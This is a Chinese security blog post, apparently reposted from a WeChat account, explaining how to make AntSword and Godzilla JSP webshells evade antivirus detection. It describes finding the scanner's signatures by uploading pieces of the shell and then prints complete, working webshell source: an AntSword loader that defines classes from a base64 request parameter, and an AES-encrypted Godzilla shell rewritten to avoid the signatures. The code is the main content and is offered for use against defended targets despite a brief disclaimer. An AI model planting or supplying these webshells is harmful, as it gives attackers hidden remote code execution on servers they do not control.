有手就行,免杀 JSP 一句话(哥斯拉/蚁剑)

admin 2023年12月5日11:49:42评论57 views字数 3740阅读12分28秒阅读模式


免责声明本文所涉及的技术和方法仅供合法合规的目的参考和学习使用。严禁利用本文内容从事任何违法或未经授权的活动。如因个人非法使用所造成的任何不良后果,作者及本公众号概不负责

立即加星标

有手就行,免杀 JSP 一句话(哥斯拉/蚁剑)

每周看好文


 目录



一、分析特征码
二、Bypass: 大道至简
三、效果演示
四、简单小结


某站有杀软,尝试哥斯拉/AntSword的默认 Jsp Shell,落地直接会被干掉返回404,遇到这种教科书级的环境,同时想到公众号粉丝们遇到杀软手足无措的样子,故特地抽点时间来写个有手就行的 Bypass 简单版本教程

PART.1

分析特征码

分析思路是:
将木马代码进行分段删除上传,从而定位具体的代码特征片段,如果404则说明是某个特征导致查杀。
真实环境别这样,你当人家蓝队吃素的么?


有手就行,免杀 JSP 一句话(哥斯拉/蚁剑)


AntSword为例,默认生成的 JSP Shell 代码如下



有手就行,免杀 JSP 一句话(哥斯拉/蚁剑)


通过一个代码块一个代码块进行尝试,最终定位到有两段代码会导致被删(其实是一样的代码)



有手就行,免杀 JSP 一句话(哥斯拉/蚁剑)


这下子,问题就好办了。这段代码其实是反射了一个Base64的 decode/decodeBuffer 方法,做了一定容错异常处理。

继续看,神兽哥斯拉,它相对来说特征蛮多的,有四个特征且条件是存在其中一种就杀。

先生成个默认的Shell



有手就行,免杀 JSP 一句话(哥斯拉/蚁剑)


经过测试,可以发现有4个特征,确实挺有代表性。

m ? 1 : 2

base64Decode # 和蚁剑一样,反射加载杀

base64Encode # 和蚁剑一样,反射加载杀

request.setAttribute("parameters", data);

PART.2

Bypass: 大道至简

既然拦截了反射,那干脆直接不用反射就行了,懂原理其实一切就是那么简单。

蚁剑

直接全称引用就行

return new sun.misc.BASE64Decoder().decodeBuffer(str);  

高版本>=11 该类被移除,那就用 java.utils 看情况来就行。

<%!
    class INTERMEDIATE extends ClassLoader{
        INTERMEDIATE(ClassLoader c){super(c);}
        public Class Common(byte[] b){
            return super.defineClass(b, 0, b.length);
        }
    }
    public byte[] compile(String str) throws Exception {
        return new sun.misc.BASE64Decoder().decodeBuffer(str);
    }
%>
<%
    String cls = request.getParameter("kPZiQJVy");
    if (cls != null) {
        new INTERMEDIATE(this.getClass().getClassLoader()).Common(compile(cls)).newInstance().equals(new Object[]{request,response});
    }
%>

哥斯拉

用逻辑等价运算搞定,直接Bypass特征就行,代码如下

<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }
    public byte[] x(byte[] s,boolean m){
            try{
                javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");
                int test = 1;
                if(!m){
                    test = 2;
                }
                c.init(test,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));
                return c.doFinal(s);
            }catch (Exception e){return null; }
    }
    public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; }
    public static String base64Encode(byte[] bs) throws Exception {
        sun.misc.BASE64Encoder b64 = new sun.misc.BASE64Encoder();
        return b64.encode(bs);
    }
    public static byte[] base64Decode(String bs) throws Exception {
        sun.misc.BASE64Decoder b64 = new sun.misc.BASE64Decoder();
        return b64.decodeBuffer(bs);
    }
%>
    <%
        String hi = new String(base64Decode("cGFyYW1ldGVycw=="));
        try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute(hi,data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}%>

PART.3

效果说明

过个静态查杀,不是有手就行?



有手就行,免杀 JSP 一句话(哥斯拉/蚁剑)


PART.4

文末小结

经过小小的测试,发现目标杀软是具备主动防御的功能,虽然过掉静态查杀,但是哥斯拉的流量特征会导致只能连接一次Shell就会被删,然后再次进行测试时发现特征码发生了改变。

神奇的事,不单单是改个MD5绕过的问题,杀软而是会选择一些比较有代表性的代码片段作为特征,蚁剑倒是没什么事(也有其他不好的地方),这个情况说明哥斯拉还是太流行了,魔改一下还是有必要的。

最后,让我听听关注我公众号的兄弟姐妹们的心声,还有什么想学的?

有手就行,免杀 JSP 一句话(哥斯拉/蚁剑)

往期推荐



Bounty新高度: 大规模 Google Dorking 技术

日挖万洞计划启动!!!

Python 趣事 "is" 的叛逆性

【神器推荐】Gofreeproxy 动态代理池小工具

[实践精品] 新一代内网穿透工具 ligolo-ng

【滴滴道歉】11.27 P0 故障原因公布

如何判断一个孩子有没有数学天赋?

有手就行,免杀 JSP 一句话(哥斯拉/蚁剑)
有手就行,免杀 JSP 一句话(哥斯拉/蚁剑)

SIMPLICITY

有手就行,免杀 JSP 一句话(哥斯拉/蚁剑)

关注我,获取更多精彩


有手就行,免杀 JSP 一句话(哥斯拉/蚁剑)

有手就行,免杀 JSP 一句话(哥斯拉/蚁剑)
有手就行,免杀 JSP 一句话(哥斯拉/蚁剑)

点个在看你最好看

有手就行,免杀 JSP 一句话(哥斯拉/蚁剑)

原文始发于微信公众号(一个不正经的黑客):有手就行,免杀 JSP 一句话(哥斯拉/蚁剑)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月5日11:49:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   有手就行,免杀 JSP 一句话(哥斯拉/蚁剑)https://cn-sec.com/archives/2268761.html

发表评论

匿名网友 填写信息